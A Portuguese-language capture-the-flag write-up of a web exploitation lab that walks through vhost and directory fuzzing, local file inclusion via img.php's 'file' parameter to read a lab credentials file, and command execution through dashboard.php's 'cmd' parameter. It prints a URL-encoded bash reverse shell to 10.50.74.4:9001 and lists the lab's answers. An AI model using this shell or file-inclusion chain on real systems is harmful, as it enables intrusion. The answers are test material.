# Web App Exploitation 101

#### **Holo Net - vhosts**

```sh
# echo '10.200.95.33 holo.live www.holo.live' >> /etc/hosts

10.200.95.33  holo.live    
10.200.95.33  www.holo.live
```

Após adicionarmos os vhosts no arquivo `/etc/hosts`  acessamos o site, e não apresenta nenhum erro de disfiguração

<figure><img src="https://4024756925-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZbLrq3t9Su3CqGmkXz7o%2Fuploads%2Fls9OW6yhXYsTfAqMUeXC%2FCaptura%20de%20ecra%CC%83%202024-06-02%2C%20a%CC%80s%2020.29.34.png?alt=media&#x26;token=4e74037a-ef73-4f30-a0f3-40e3c1c8590f" alt=""><figcaption></figcaption></figure>

#### Fuzzing de vhosts

```
# gobuster vhost -u http://holo.live/ -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://holo.live/
[+] Method:          GET
[+] Threads:         10
[+] Wordlist:        /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================

dev
admin
www
```

Quais domínios carregam imagens na primeira página da web?

`www.holo.live`

Quais são os outros dois domínios presentes no servidor web? Formato: Ordem Alfabética

`admin.holo.live, dev.holo.live`

#### Task 10&#x20;

Aqui nós vamos enumerar subdiretórios

```
# ffuf -c -w /usr/share/wordlists/dirb/big.txt:FUZZ -u http://www.holo.live/FUZZ -fc 403,404
robots.txt              [Status: 200, Size: 913, Words: 23, Lines: 23, Duration: 36ms]

# gobuster dir -u http://dev.holo.live/ -w /usr/share/wordlists/dirb/big.txt -x php,html
/about.php            (Status: 200) [Size: 9612]
/img.php              (Status: 200) [Size: 0]
/index.php            (Status: 200) [Size: 7515]

# ffuf -c -w /usr/share/wordlists/dirb/big.txt:FUZZ -u http://admin.holo.live/FUZZ -fc 403,404
robots.txt              [Status: 200, Size: 135, Words: 5, Lines: 5, Duration: 7ms]
```



Qual arquivo vaza o diretório atual do servidor web?

`robots.txt`

Qual arquivo carrega imagens para o domínio de desenvolvimento?

`img.php`

Qual é o caminho completo do arquivo de credenciais no domínio do administrador?

<figure><img src="https://4024756925-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZbLrq3t9Su3CqGmkXz7o%2Fuploads%2FviLi2TFIPM5OLukzkKxC%2F1.png?alt=media&#x26;token=f9c32415-af2a-4499-9ca8-b1c6fa8398be" alt=""><figcaption></figcaption></figure>

`/var/www/admin/supersecretdir/creds.txt`

#### Task  12

Navegando no domínio `admin.holo.live/talents.php` identificamos um link que nos reencaminha para qualquer imagem de anime no servidor e descobrimos a origem das imagens.

<figure><img src="https://4024756925-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZbLrq3t9Su3CqGmkXz7o%2Fuploads%2F12MKMYMdzt9OBG4Ki3M2%2F1.png?alt=media&#x26;token=120766f9-8747-4a49-84f4-c41cc162707d" alt=""><figcaption></figcaption></figure>

O parâmetro `file`em combinação com o caminho da imagem fornecido retorna algo! Isso significa que esse parâmetro existe! E agora podemos prosseguir testando este parâmetro em busca de vulnerabilidades, ou seja, testando-o para LFI e RFI.

<figure><img src="https://4024756925-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZbLrq3t9Su3CqGmkXz7o%2Fuploads%2F1tolFPyurj9SmuijLrGQ%2F1.png?alt=media&#x26;token=9c5e6fa1-403a-48a3-8d2f-fd0724146026" alt=""><figcaption></figcaption></figure>

Anteriormente descobrimos um arquivo de credenciais, podemos tentar lista-lo

<figure><img src="https://4024756925-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZbLrq3t9Su3CqGmkXz7o%2Fuploads%2FL43HOoXHyzViWkVmTB9J%2F1.png?alt=media&#x26;token=637085a8-dba6-41b9-a4ae-688cabf07224" alt=""><figcaption></figcaption></figure>

Qual arquivo é vulnerável ao LFI no domínio de desenvolvimento?

`img.php`&#x20;

Qual parâmetro no arquivo é vulnerável ao LFI?

`file`

Qual arquivo encontrado no vazamento de informações retorna um código de erro HTTP 403 no domínio do administrador?

`/var/www/admin/supersecretdir/creds.txt`

Usando LFI no domínio de desenvolvimento, leia o arquivo acima. Quais são as credenciais encontradas no arquivo?

`admin:DBManagerLogin!`



#### Task 13

Faremos login com as credenciais encontradas, e fomos reencaminhados para um dashboard

<figure><img src="https://4024756925-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZbLrq3t9Su3CqGmkXz7o%2Fuploads%2F2ykqcE9eTg5YbT3uybZi%2F1.png?alt=media&#x26;token=71fde9fb-9a46-45da-90d5-86f94538e60a" alt=""><figcaption></figcaption></figure>

Olhando através do código, podemos identificar imediatamente uma vulnerabilidade crucial que leva ao RCE

<figure><img src="https://4024756925-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZbLrq3t9Su3CqGmkXz7o%2Fuploads%2FYpqKhR63wwxsiZ02HvbO%2F1.png?alt=media&#x26;token=7dcc41da-01f0-44d1-813f-27caed37ec3b" alt=""><figcaption></figcaption></figure>

Então encontramos uma maneira de executar código na máquina. Vamos usar isso para estabelecer um shell reverso totalmente interativo.

<figure><img src="https://4024756925-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZbLrq3t9Su3CqGmkXz7o%2Fuploads%2Fb8rhUdq6h6bKFYDnMXXx%2F1.png?alt=media&#x26;token=71871730-95a3-4676-b6b8-726dd5b368fc" alt=""><figcaption></figcaption></figure>

Portanto, primeiro precisamos verificar se há ferramentas úteis existentes na máquina de destino. Um deles seria, por exemplo `nc`. Vamos verificar se o `nc`binário existe:

<figure><img src="https://4024756925-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZbLrq3t9Su3CqGmkXz7o%2Fuploads%2FpPNc1CToIch41HhGpNYG%2F1.png?alt=media&#x26;token=44b4c0f7-34eb-4008-bf0d-90fb77fbe0aa" alt=""><figcaption></figcaption></figure>

Agora iniciamos um ouvinte nc em nossa máquina atacante e simplesmente incluímos um `nc`shell reverso baseado como `cmd`parâmetro. O código shell reverso que usamos é o seguinte:

```html
/bin/bash+-c+"bash+-i+>%26+/dev/tcp/10.50.74.4/9001+0>%261"
```

<figure><img src="https://4024756925-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZbLrq3t9Su3CqGmkXz7o%2Fuploads%2F4YeiB9hBPqp37HlUfqkm%2Fimage.png?alt=media&#x26;token=334d1974-109d-49a4-b4d1-3189dd4b6ecd" alt=""><figcaption></figcaption></figure>

Após enviar a requisição, pegamos o shell reverso em nossa máquina, usei o `pwncat` que é menos instável que netcat (espero explorar mais essa ferramenta para port-forwarding)

<figure><img src="https://4024756925-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZbLrq3t9Su3CqGmkXz7o%2Fuploads%2FAaC0drY7oopi36ShcgTB%2Fimage.png?alt=media&#x26;token=efa9b83e-6258-449f-b9cc-11da83b13ee2" alt=""><figcaption></figcaption></figure>

Qual arquivo é vulnerável ao RCE no domínio do administrador?

`dashboard.php`&#x20;

Qual parâmetro é vulnerável ao RCE no domínio do administrador?

`cmd`&#x20;

Com qual usuário o servidor web está sendo executado?

`www-data`&#x20;

